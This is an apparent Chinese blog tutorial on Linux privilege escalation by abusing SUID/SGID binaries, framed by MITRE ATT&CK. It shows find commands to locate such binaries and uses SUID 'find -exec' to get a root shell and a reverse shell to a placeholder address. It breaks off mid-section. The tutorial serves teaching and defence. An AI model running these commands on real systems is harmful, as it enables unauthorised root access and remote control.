ATT&CK权限提升-Linux提权总结

ATT&CK权限提升-Linux提权总结

介绍

​ MITRE ATT&CK ®是一个全球可访问的基于真实世界观察的对手战术和技术知识库,本文根据MITRE ATT&CK框架总结了Linux系统下的权限提升技术,并且特指由普通用户提升到root权限的技术。

一、滥用权限控制机制

​ 首先了解一下Linux下的权限控制机制http://c.biancheng.net/linux_tutorial/70/,Linux所有文件都具有访问权限,针对u:拥有者、g:组、o:other设置权限,常见的文件权限类型有:r、w、x,对应读、写、可执行权,除了这3种以外还有一些特殊权限,u中的s代表SUID权限,g中的s代表SGID权限,t代表粘滞位权限,SUDO命令则用于暂时提升用户身份。在ATT&CK框架中记录了很多提权方法,其中用于Linux的有SetUID、SetGID和SUDO。

1.SetUID和 SetGID

①提权原理

​ SetUID简称SUID,当一个可执行文件被赋予SUID权限,那么用户执行此文件时,会暂时获得文件所有者的身份,一旦文件执行结束,身份的切换也随之消失。

​ SetGID简称SGID,和SUID类似,当一个可执行文件被赋予SGID权限,那么用户执行此文件时,用户组会暂时获得文件所属组的身份,一旦文件执行结束,身份的切换也随之消失。

​ 如上所述,SUID或SGID本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。对于入侵者来说,只要找到具备SUID或SGID权限的程序,并且能够操控它的执行结果,那么就可以将任意指令提升至root权限。

②提权条件

​ 1.存在具备SUID权限的脆弱二进制文件

③找寻脆弱点

​ 查找具有SUID和SGID的文件:

​ 1.使用ls -l查看具有SUID和SGID权限的文件,SUID对应user权限中的s,SGID对应Group权限中的s:

image-20220603204148981

​ 2.find查找具有SUID和SGID权限的文件:

#查找同时具有SUID和SGID权限的文件:
find / -user root -perm -u+s,g+s -print 2>/dev/null

#查找具有SUID权限或SGID权限的文件:
find / -user root -perm /u+s,g+s -print 2>/dev/null

#查找具有SUID权限的文件:
find / -user root -perm -u+s -print 2>/dev/null

查找具有SGID权限的文件:
find / -user root -perm -g+s -print 2>/dev/null
③可被利用的二进制文件

​ 1.对于常见二进制文件,GTFOBins上面其实已经总结的很全面了https://gtfobins.github.io/#

image-20220603210603729

​ 2.下面举例一个常见的可用于SUID提权的程序,其他的请参考GTFOBins:

find

image-20220603212418414

​ 3.如GTFOBins中展示的,find 可以使用-exec参数来执行命令,所以如果它具备SUID权限那么就可以用来提权:

#测试时先赋予find SUID权限:
chmod u+s /usr/bin/find

#查找/usr/bin下具备SUID权限的文件:
find /usr/bin/ -user root -perm -u+s -print 2>/dev/null

#-exec执行命令,参数需要以;结尾,find每次成功匹配到一个文件,都会执行该命令,使用-quit避免重复执行:
find /root/test -exec whoami \;       #多次匹配到文件会多次执行whoami
find . -exec whoami \; -quit		 

#交互式shell:
find . -exec /bin/sh -p \; -quit

#反弹shell(注意这里一定要用-p,原因在下面解释)
find . -exec /bin/sh -p >& /dev/tcp/ip/port 0>&1 \; -quit	

image-20220603212351458

​ 4.提权前

image-20220603214445690

​ 5.SUID提权,whoami变为root,euid变为root:

image-20220603214708972

​ 6.SGID提权,whoami并没有变为root,但egid用户组变为了root

image-20220603214156934

反弹shell踩坑及解决方法

​ 1.从上面执行的结果可以看到,SUID提权时,只有euid改变,SGID提权时,只有egid和groups改变。

​ 2.linux下用户/用户组有这样几个概念:

​ 实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid,也是id命令看到的第一个uid。

​ 有效用户ID(EUID):用于系统决定用户对系统资源的权限,SUID提权时改变的其实就是EUID。

​ 真实组ID(RGID):同理,也就是GID。

​ 有效组ID(EGID):同理,SGID提权时改变的就是EGID。

​ 3.如果我们使用常见的bash -i 反弹shell,会出现提权失败的情况:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值